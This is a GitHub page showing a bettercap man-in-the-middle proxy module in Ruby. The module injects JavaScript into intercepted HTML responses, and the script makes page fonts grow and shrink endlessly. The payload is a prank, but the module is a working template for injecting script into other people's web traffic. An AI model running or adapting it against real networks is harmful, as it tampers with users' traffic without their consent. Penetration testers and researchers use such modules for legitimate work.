forked from evilsocket/bettercap-proxy-modules
-
Notifications
You must be signed in to change notification settings - Fork 0
/
resizetext.rb
38 lines (33 loc) · 842 Bytes
/
resizetext.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
=begin
BETTERCAP
Author : Simone 'evilsocket' Margaritelli
Email : evilsocket@gmail.com
Blog : http://www.evilsocket.net/
This project is released under the GPL 3 license.
=end
class ResizeText < BetterCap::Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type =~ /^text\/html.*/
BetterCap::Logger.info "Hacking http://#{request.host}#{request.url}"
# make sure to use sub! or gsub! to update the instance
response.body.sub!( '<head>', '<head> <script type="text/javascript">
window.onload = function() {
var size = 1.0
var up = true;
setInterval(function() {
document.body.style.fontSize = size + "em";
if (up)
size += 1;
else
size -= 1;
if (size == 10)
up = false;
if (size == 0)
up = true;
}, 100);
}
</script>' )
end
end
end